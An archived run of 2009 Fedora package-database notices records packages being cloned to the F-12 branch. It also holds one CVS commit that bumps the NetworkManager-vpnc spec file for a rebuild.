Subject: [pkgdb] artwiz-aleczapka-fonts F-12 cloned from devel
Message-ID: <20091003161129.473DC10FA33@bastion2.fedora.phx.redhat.com>

toshio cloned artwiz-aleczapka-fonts F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/artwiz-aleczapka-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:31 +0000
Subject: [pkgdb] asa F-12 cloned from devel
Message-ID: <20091003161131.1D25810F99B@bastion2.fedora.phx.redhat.com>

toshio cloned asa F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asa



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:33 +0000
Subject: [pkgdb] asana-math-fonts F-12 cloned from devel
Message-ID: <20091003161133.8106A10FA34@bastion2.fedora.phx.redhat.com>

toshio cloned asana-math-fonts F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asana-math-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:36 +0000
Subject: [pkgdb] asc-music F-12 cloned from devel
Message-ID: <20091003161136.4D8E110FA35@bastion2.fedora.phx.redhat.com>

toshio cloned asc-music F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asc-music



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:38 +0000
Subject: [pkgdb] asciidoc F-12 cloned from devel
Message-ID: <20091003161138.818F410F9C5@bastion2.fedora.phx.redhat.com>

toshio cloned asciidoc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asciidoc



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:43 +0000
Subject: [pkgdb] aspell F-12 cloned from devel
Message-ID: <20091003161143.33A0D10FA38@bastion2.fedora.phx.redhat.com>

toshio cloned aspell F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:47 +0000
Subject: [pkgdb] aspell-ar F-12 cloned from devel
Message-ID: <20091003161147.07B6110F9CB@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-ar F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-ar



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:48 +0000
Subject: [pkgdb] aspell-bg F-12 cloned from devel
Message-ID: <20091003161148.A55B410FA3C@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-bg F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-bg



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:50 +0000
Subject: [pkgdb] aspell-bn F-12 cloned from devel
Message-ID: <20091003161150.A917F10F9A2@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-bn F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-bn



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:52 +0000
Subject: [pkgdb] aspell-br F-12 cloned from devel
Message-ID: <20091003161152.84F7B10FA3F@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-br F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-br



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:55 +0000
Subject: [pkgdb] aspell-cs F-12 cloned from devel
Message-ID: <20091003161155.E40AB10F9A0@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-cs F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-cs



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:57 +0000
Subject: [pkgdb] aspell-cy F-12 cloned from devel
Message-ID: <20091003161157.8FAA110FA42@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-cy F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-cy



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:59 +0000
Subject: [pkgdb] aspell-da F-12 cloned from devel
Message-ID: <20091003161159.1FB0010FA41@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-da F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-da



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:02 +0000
Subject: [pkgdb] aspell-el F-12 cloned from devel
Message-ID: <20091003161202.C29B610FA45@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-el F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-el



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:04 +0000
Subject: [pkgdb] aspell-en F-12 cloned from devel
Message-ID: <20091003161204.A051510FA48@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-en F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-en



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:08 +0000
Subject: [pkgdb] aspell-fo F-12 cloned from devel
Message-ID: <20091003161208.352EA10FA4B@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-fo F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-fo



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:21 +0000
Subject: [pkgdb] aspell-gu F-12 cloned from devel
Message-ID: <20091003161221.8C9FC10FA4E@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-gu F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-gu



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:23 +0000
Subject: [pkgdb] aspell-he F-12 cloned from devel
Message-ID: <20091003161223.6EA3E10FA51@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-he F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-he



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:30 +0000
Subject: [pkgdb] aspell-is F-12 cloned from devel
Message-ID: <20091003161230.D8BC610FA58@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-is F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-is



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:32 +0000
Subject: [pkgdb] aspell-it F-12 cloned from devel
Message-ID: <20091003161232.AAC8C10F95E@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-it F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-it



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:35 +0000
Subject: [pkgdb] aspell-ml F-12 cloned from devel
Message-ID: <20091003161235.7887810FA5D@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-ml F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-ml



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:37 +0000
Subject: [pkgdb] aspell-mr F-12 cloned from devel
Message-ID: <20091003161237.8BB6610F960@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-mr F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-mr



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:38 +0000
Subject: [pkgdb] aspell-nl F-12 cloned from devel
Message-ID: <20091003161239.1392510FA5E@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-nl F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-nl



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:40 +0000
Subject: [pkgdb] aspell-no F-12 cloned from devel
Message-ID: <20091003161240.A84BF10F9A4@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-no F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-no



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:42 +0000
Subject: [pkgdb] aspell-or F-12 cloned from devel
Message-ID: <20091003161242.B20F210FA61@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-or F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-or



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:44 +0000
Subject: [pkgdb] aspell-pa F-12 cloned from devel
Message-ID: <20091003161244.36B1610F911@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-pa F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-pa



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:46 +0000
Subject: [pkgdb] aspell-pl F-12 cloned from devel
Message-ID: <20091003161246.1BF6D10FA64@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-pl F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-pl



From mclasen at fedoraproject.org  Sat Oct  3 16:12:42 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat,  3 Oct 2009 16:12:42 +0000 (UTC)
Subject: rpms/NetworkManager-vpnc/F-12 NetworkManager-vpnc.spec,1.57,1.58
Message-ID: <20091003161242.8161E11C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/NetworkManager-vpnc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7756

Modified Files:
	NetworkManager-vpnc.spec 
Log Message:
rebuild



Index: NetworkManager-vpnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-vpnc/F-12/NetworkManager-vpnc.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- NetworkManager-vpnc.spec	21 Sep 2009 22:48:21 -0000	1.57
+++ NetworkManager-vpnc.spec	3 Oct 2009 16:12:42 -0000	1.58
@@ -1,4 +1,4 @@
-%define nm_version          1:0.7.996-1
+%define nm_version          1:0.7.996-4
 %define dbus_version        1.1
 %define gtk2_version        2.10.0
 %define vpnc_version        0.5
@@ -10,7 +10,7 @@ Summary:   NetworkManager VPN plugin for
 Name:      NetworkManager-vpnc
 Epoch:     1
 Version:   0.7.996
-Release:   3%{git_snapshot}%{?dist}
+Release:   4%{git_snapshot}%{?dist}
 License:   GPLv2+
 Group:     System Environment/Base
 URL:       http://www.gnome.org/projects/NetworkManager/
@@ -97,6 +97,9 @@ fi
 %dir %{_datadir}/gnome-vpn-properties/vpnc
 
 %changelog
+* Sat Oct  3 2009 Matthias Clasen <mclasen at redhat.com> - 1:0.7.996-4
+- Rebuild for updated NetworkManager
+
 * Mon Sep 21 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-3
 - Rebuild for updated NetworkManager
 - Convert imported files to UTF8 before parsing



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:49 +0000
Subject: [pkgdb] aspell-ru F-12 cloned from devel
Message-ID: <20091003161249.7D5FB10FA65@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-ru F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-ru



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:51 +0000
Subject: [pkgdb] aspell-sk F-12 cloned from devel
Message-ID: <20091003161251.43AAB10F9D2@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-sk F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-sk



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:52 +0000
Subject: [pkgdb] aspell-sl F-12 cloned from devel
Message-ID: <20091003161252.DC64B10FA67@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-sl F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-sl



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:54 +0000
Subject: [pkgdb] aspell-sr F-12 cloned from devel
Message-ID: <20091003161254.479B110FA69@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-sr F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-sr



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:03 +0000
Subject: [pkgdb] asterisk F-12 cloned from devel
Message-ID: <20091003161303.8FF2C10FA70@bastion2.fedora.phx.redhat.com>

toshio cloned asterisk F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asterisk



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:05 +0000
Subject: [pkgdb] asterisk-sounds-core F-12 cloned from devel
Message-ID: <20091003161305.66F0D10F913@bastion2.fedora.phx.redhat.com>

toshio cloned asterisk-sounds-core F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asterisk-sounds-core



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:14 +0000
Subject: [pkgdb] astronomy-menus F-12 cloned from devel
Message-ID: <20091003161314.EB5E010FA77@bastion2.fedora.phx.redhat.com>

toshio cloned astronomy-menus F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/astronomy-menus



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:18 +0000
Subject: [pkgdb] asunder F-12 cloned from devel
Message-ID: <20091003161318.9822410F96D@bastion2.fedora.phx.redhat.com>

toshio cloned asunder F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asunder



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:20 +0000
Subject: [pkgdb] asylum F-12 cloned from devel
Message-ID: <20091003161321.07E8D10F9DB@bastion2.fedora.phx.redhat.com>

toshio cloned asylum F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asylum



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:24 +0000
Subject: [pkgdb] at F-12 cloned from devel
Message-ID: <20091003161325.2936210FA7C@bastion2.fedora.phx.redhat.com>

toshio cloned at F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/at



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:27 +0000
Subject: [pkgdb] at-spi F-12 cloned from devel
Message-ID: <20091003161327.97FA210FA7D@bastion2.fedora.phx.redhat.com>

toshio cloned at-spi F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/at-spi



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:29 +0000
Subject: [pkgdb] atanks F-12 cloned from devel
Message-ID: <20091003161329.3735C10F9DF@bastion2.fedora.phx.redhat.com>

toshio cloned atanks F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atanks



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:30 +0000
Subject: [pkgdb] atari++ F-12 cloned from devel
Message-ID: <20091003161330.D2B0110FA7F@bastion2.fedora.phx.redhat.com>

toshio cloned atari++ F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atari++



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:32 +0000
Subject: [pkgdb] atasm F-12 cloned from devel
Message-ID: <20091003161332.77D8010FA82@bastion2.fedora.phx.redhat.com>

toshio cloned atasm F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atasm



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:34 +0000
Subject: [pkgdb] aterm F-12 cloned from devel
Message-ID: <20091003161334.55EA510FA85@bastion2.fedora.phx.redhat.com>

toshio cloned aterm F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aterm



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:35 +0000
Subject: [pkgdb] ath_info F-12 cloned from devel
Message-ID: <20091003161335.CB33F10FA84@bastion2.fedora.phx.redhat.com>

toshio cloned ath_info F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ath_info



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:42 +0000
Subject: [pkgdb] atlas F-12 cloned from devel
Message-ID: <20091003161342.BFE1B10F974@bastion2.fedora.phx.redhat.com>

toshio cloned atlas F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atlas



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:48 +0000
Subject: [pkgdb] atomix F-12 cloned from devel
Message-ID: <20091003161348.23E5110F9ED@bastion2.fedora.phx.redhat.com>

toshio cloned atomix F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atomix



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:46 +0000
Subject: [pkgdb] atmel-firmware F-12 cloned from devel
Message-ID: <20091003161346.7256510F9E6@bastion2.fedora.phx.redhat.com>

toshio cloned atmel-firmware F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atmel-firmware



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:49 +0000
Subject: [pkgdb] atomorun F-12 cloned from devel
Message-ID: <20091003161349.CBB9310F918@bastion2.fedora.phx.redhat.com>

toshio cloned atomorun F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atomorun



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:51 +0000
Subject: [pkgdb] atop F-12 cloned from devel
Message-ID: <20091003161351.9D64510FA8D@bastion2.fedora.phx.redhat.com>

toshio cloned atop F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atop



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:53 +0000
Subject: [pkgdb] attr F-12 cloned from devel
Message-ID: <20091003161353.3DDBB10FA8E@bastion2.fedora.phx.redhat.com>

toshio cloned attr F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/attr



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:55 +0000
Subject: [pkgdb] aubio F-12 cloned from devel
Message-ID: <20091003161355.2F16710F9EA@bastion2.fedora.phx.redhat.com>

toshio cloned aubio F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aubio



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:57 +0000
Subject: [pkgdb] audacious F-12 cloned from devel
Message-ID: <20091003161357.205C510FA90@bastion2.fedora.phx.redhat.com>

toshio cloned audacious F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audacious



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:59 +0000
Subject: [pkgdb] audacious-plugin-fc F-12 cloned from devel
Message-ID: <20091003161359.2A4F410F8D0@bastion2.fedora.phx.redhat.com>

toshio cloned audacious-plugin-fc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audacious-plugin-fc



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:01 +0000
Subject: [pkgdb] audacious-plugins F-12 cloned from devel
Message-ID: <20091003161401.804A810FA95@bastion2.fedora.phx.redhat.com>

toshio cloned audacious-plugins F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audacious-plugins



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:05 +0000
Subject: [pkgdb] audex F-12 cloned from devel
Message-ID: <20091003161405.61D1110FA9B@bastion2.fedora.phx.redhat.com>

toshio cloned audex F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audex



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:07 +0000
Subject: [pkgdb] audio-convert-mod F-12 cloned from devel
Message-ID: <20091003161407.76E9E10F9F4@bastion2.fedora.phx.redhat.com>

toshio cloned audio-convert-mod F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audio-convert-mod



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:11 +0000
Subject: [pkgdb] audiofile F-12 cloned from devel
Message-ID: <20091003161411.E290F10F9F1@bastion2.fedora.phx.redhat.com>

toshio cloned audiofile F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audiofile



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:14 +0000
Subject: [pkgdb] audit F-12 cloned from devel
Message-ID: <20091003161414.57D5810FAA5@bastion2.fedora.phx.redhat.com>

toshio cloned audit F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audit



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:16 +0000
Subject: [pkgdb] audit-viewer F-12 cloned from devel
Message-ID: <20091003161416.932F910F920@bastion2.fedora.phx.redhat.com>

toshio cloned audit-viewer F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audit-viewer



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:20 +0000
Subject: [pkgdb] augeas F-12 cloned from devel
Message-ID: <20091003161420.EFC8210F922@bastion2.fedora.phx.redhat.com>

toshio cloned augeas F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/augeas



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:22 +0000
Subject: [pkgdb] aumix F-12 cloned from devel
Message-ID: <20091003161422.93A8810F9F5@bastion2.fedora.phx.redhat.com>

toshio cloned aumix F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aumix



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:24 +0000
Subject: [pkgdb] auriferous F-12 cloned from devel
Message-ID: <20091003161423.EC3F310FAA3@bastion2.fedora.phx.redhat.com>

toshio cloned auriferous F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/auriferous



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:27 +0000
Subject: [pkgdb] authd F-12 cloned from devel
Message-ID: <20091003161427.78BCC10FAA8@bastion2.fedora.phx.redhat.com>

toshio cloned authd F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/authd



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:29 +0000
Subject: [pkgdb] auto-buildrequires F-12 cloned from devel
Message-ID: <20091003161429.90CE410FAAC@bastion2.fedora.phx.redhat.com>

toshio cloned auto-buildrequires F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/auto-buildrequires



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:31 +0000
Subject: [pkgdb] auto-destdir F-12 cloned from devel
Message-ID: <20091003161431.A6C0810FAAF@bastion2.fedora.phx.redhat.com>

toshio cloned auto-destdir F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/auto-destdir



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:34 +0000
Subject: [pkgdb] autobuild-applet F-12 cloned from devel
Message-ID: <20091003161434.DCC1410FAB4@bastion2.fedora.phx.redhat.com>

toshio cloned autobuild-applet F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autobuild-applet



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:36 +0000
Subject: [pkgdb] autoconf213 F-12 cloned from devel
Message-ID: <20091003161436.C87AC10F9F8@bastion2.fedora.phx.redhat.com>

toshio cloned autoconf213 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autoconf213



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:41 +0000
Subject: [pkgdb] autodownloader F-12 cloned from devel
Message-ID: <20091003161441.6D99F10F923@bastion2.fedora.phx.redhat.com>

toshio cloned autodownloader F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autodownloader



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:43 +0000
Subject: [pkgdb] autofs F-12 cloned from devel
Message-ID: <20091003161443.BE9D110FABB@bastion2.fedora.phx.redhat.com>

toshio cloned autofs F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autofs



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:45 +0000
Subject: [pkgdb] autogen F-12 cloned from devel
Message-ID: <20091003161445.3676110F97D@bastion2.fedora.phx.redhat.com>

toshio cloned autogen F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autogen



